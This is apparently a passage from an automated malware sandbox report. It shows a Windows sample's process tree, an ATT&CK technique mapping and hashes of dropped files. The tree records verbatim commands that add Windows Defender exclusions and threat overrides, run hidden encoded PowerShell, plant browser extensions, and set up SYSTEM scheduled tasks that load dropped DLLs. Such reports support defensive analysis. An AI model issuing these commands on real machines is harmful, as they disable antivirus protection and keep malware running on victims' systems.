    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1564
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4944
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:3732
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4680
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1676
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:760
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AClHKqYMJaBBC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AClHKqYMJaBBC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RFIumDCEBXXU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RFIumDCEBXXU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ijLlchIpU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ijLlchIpU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vEcQBTYFTXUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vEcQBTYFTXUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xSxYkcSdbazbYzGpZTR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xSxYkcSdbazbYzGpZTR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\oBeyQrPqBvPiiLVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\oBeyQrPqBvPiiLVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\LYuMxsVXDPHoztkCT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\LYuMxsVXDPHoztkCT\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\gLbKcqvTyliDAKYm\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\gLbKcqvTyliDAKYm\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:4980
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AClHKqYMJaBBC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2216
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AClHKqYMJaBBC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:828
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AClHKqYMJaBBC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4056
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RFIumDCEBXXU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4704
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RFIumDCEBXXU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4372
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ijLlchIpU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2896
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ijLlchIpU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5040
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vEcQBTYFTXUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2396
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vEcQBTYFTXUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1200
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xSxYkcSdbazbYzGpZTR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2920
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xSxYkcSdbazbYzGpZTR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3312
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\oBeyQrPqBvPiiLVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4440
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\oBeyQrPqBvPiiLVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:3276
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1504
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:224
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\LYuMxsVXDPHoztkCT /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:164
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\LYuMxsVXDPHoztkCT /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4864
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\gLbKcqvTyliDAKYm /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4060
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\gLbKcqvTyliDAKYm /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:348
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "geHzKrXyt" /SC once /ST 08:35:02 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:4952
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "geHzKrXyt"
  2⤵
  PID:4256
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "geHzKrXyt"
  2⤵
  PID:928
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "GSDaywQPJdyrKXMOz" /SC once /ST 05:08:09 /RU "SYSTEM" /TR "\"C:\Windows\Temp\gLbKcqvTyliDAKYm\NEyxkDcDVFDgMzZ\mhGmYVi.exe\" Y4 /lDlWdidAR 525403 /S" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:1680
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "GSDaywQPJdyrKXMOz"
  2⤵
  PID:4676
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2560 -s 820
  2⤵
  - Program crash
  PID:3460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1156
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:4660
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5076

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:2992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:1196

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4152

C:\Windows\Temp\gLbKcqvTyliDAKYm\NEyxkDcDVFDgMzZ\mhGmYVi.exe
C:\Windows\Temp\gLbKcqvTyliDAKYm\NEyxkDcDVFDgMzZ\mhGmYVi.exe Y4 /lDlWdidAR 525403 /S
1⤵
PID:1456
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:736
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:4948
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:4820
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:872
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:4216
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:4912
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:2636
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:2332
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:3084
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:5040
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    PID:2396
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      PID:1200
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2640
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:2044
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      PID:3384
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4548
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:1980
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "bGTnZQDECKwDuNSWyq"
  2⤵
  PID:4420
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
  2⤵
  PID:3228
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
    3⤵
    PID:2148
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
      4⤵
      PID:2204
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:428
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        
        PID:4328
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ijLlchIpU\QAEGhT.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "erLaEdTsgGebTau" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:5084
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "erLaEdTsgGebTau2" /F /xml "C:\Program Files (x86)\ijLlchIpU\exendUP.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:2500
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "erLaEdTsgGebTau"
  2⤵
  PID:4584
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "erLaEdTsgGebTau"
  2⤵
  PID:772
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "JUjxRHGCKYRete" /F /xml "C:\Program Files (x86)\RFIumDCEBXXU2\McbDCHG.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4660
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "dHStwJHTntsRr2" /F /xml "C:\ProgramData\oBeyQrPqBvPiiLVB\fCVkdhc.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:4908
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "FaHXLaniQBMEYVQSg2" /F /xml "C:\Program Files (x86)\xSxYkcSdbazbYzGpZTR\NtUkxhY.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:3484
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5024
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "AHXMxnWaJXPmSiNckSN2" /F /xml "C:\Program Files (x86)\AClHKqYMJaBBC\scnVogK.xml" /RU "SYSTEM"
  2⤵
  - Creates scheduled task(s)
  PID:5068
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "hijxFSKlICFAhziPp" /SC once /ST 00:03:52 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\gLbKcqvTyliDAKYm\cStUYHOf\BtgqMBk.dll\",#1 /DsIYdidthX 525403" /V1 /F
  2⤵
  - Creates scheduled task(s)
  PID:3976
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "hijxFSKlICFAhziPp"
  2⤵
  PID:5016
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "GSDaywQPJdyrKXMOz"
  2⤵
  PID:4820
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 2012
  2⤵
  - Program crash
  PID:4712

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\gLbKcqvTyliDAKYm\cStUYHOf\BtgqMBk.dll",#1 /DsIYdidthX 525403
1⤵
PID:1564
- C:\Windows\SysWOW64\rundll32.exe
  c:\windows\system32\rundll32.EXE "C:\Windows\Temp\gLbKcqvTyliDAKYm\cStUYHOf\BtgqMBk.dll",#1 /DsIYdidthX 525403
  2⤵
  PID:3008
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "hijxFSKlICFAhziPp"
    3⤵
    PID:4856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\$RECYCLE.BIN\S-1-5-18\desktop.ini

Filesize
129B

MD5
a526b9e7c716b3489d8cc062fbce4005

SHA1
2df502a944ff721241be20a9e449d2acd07e0312

SHA256
e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

SHA512
d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

Download Submit
C:\Program Files (x86)\AClHKqYMJaBBC\scnVogK.xml

Filesize
2KB

MD5
53d83cdc84c10e38fd10de7a9d1ddf28

SHA1
2014e16cf8826245b3e116b376578b9f4430dfe0

SHA256
b8ebd8e7761ff840e88c29fdeb519d840c4d9c460a7ef13aa82330ebd545d93f

SHA512
1edb14bf6b4a7567b9ea2c5be7d30c6e4e1fc90e1e53455dea7014c0f237bfe6dcb7299a41d0fee8fc94eea64f6a74fba627bdf0386603ba83a20726ec5625aa

Download Submit
C:\Program Files (x86)\RFIumDCEBXXU2\McbDCHG.xml

Filesize
2KB

MD5
18870d992f16adc8cba3d524152e8c56

SHA1
27f0ce8d8677eb11a9f68245c1a4559e04cbd80a

SHA256
f04b184e178846b2ddd3a95c72ccb1ef26a15ea21e27681357e245366cc5078c

SHA512
26d1ce0f3719f54554fb856a961c9680c7af26f8183965999371423880f3e69b2306ccc9b024bfe1c92deb7c134b87972ebb0a6a4564f2c60aaf9105c360da14

Download Submit
C:\Program Files (x86)\ijLlchIpU\exendUP.xml

Filesize
2KB

MD5
5621b200da4fae4f73db6ac377f5724a

SHA1
0a761b021830757e40752ece4e750186a0233440

SHA256
595bce858d5d65972c605bc093de8bab390f7a856573e9a5f8e5328b1ccfb32d

SHA512
664f6e3707d9712017c28780a9e988ed9a959ebe0b4b06898b374a539ab50bcec2c475b09cefa7e9f8a0f55121d092e50213ec831c89fffaa4a27ab2cd1870fe

Download Submit
C:\Program Files (x86)\xSxYkcSdbazbYzGpZTR\NtUkxhY.xml

Filesize
2KB

MD5
5aaad792fca2effd1975c8fe7ca19781

SHA1
3b4a0f2a98596ec5aac4a79bd9174bb87ab214ec

SHA256
7c661a1daf486158817e6c967cabee5f5ca4e56899120e02bbd85097f201ac46

SHA512
8e68835b312565fd6dfeb0f0a7a11fc799ea657ed16881dc90f512d872d56aa4ee90323d9a312e9bb99e4b56fdedcfeef7977b5b094d3202feb67368d93ad787

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi

Filesize
448KB

MD5
f079cefb4e82ca6a077274421c075248

SHA1
22537d9d6bdd4231dcaabf3923612aabca228b80

SHA256
9fdfbb53ff04d069067a0071847873e9d698039ed035792ebd485ccee7573d6b

SHA512
534089e51aa7655137de8508f3f810af209aaa7ea88adf457c0287ac6846df49fd2d1d47c438ddf1ff14693b539c0523fa662669adec1c32cc494af20bd3546a

Download Submit
C:\ProgramData\oBeyQrPqBvPiiLVB\fCVkdhc.xml

Filesize
2KB

MD5
faedb4f5b18be4114b55e9c9b6c67e08

SHA1
e6fd0de0ec7e837b68e9af126d0c113ef7e956a8

SHA256
8e411d85d3ce8817896576ece33f9fcc1ea60f17d775e6183afda746986c55ee

SHA512
f9c74863c58707215afd8404236321b185b8ba7d9c4488845e896733d70ccb22b654e23bbbd24d493c1b206a2cbf592c700052ebaef908e9ea3ee9dc9034e37f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json

Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json

Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json

Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
51389bb88dad122cf10781220c8b74ed

SHA1
9fc2e1ee7aeeca0bd614c2c5668df1e4ca23ed14

SHA256
cfc9970ec6d11a0241c996c72ee910c65ad80f9c8d0186eb10c53f5506348ab3

SHA512
665b218f2d3d027c3b6e9f7150c94e53b2c8edbfba145957026dd063b6b2f7b6430eb54df84125209e0c50b207c56b96a0c4abc5ed3f71cac9f5e59c4df110ca

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Filesize
30KB

MD5
f281a181583e2c2f8df8e55df37aafef

SHA1
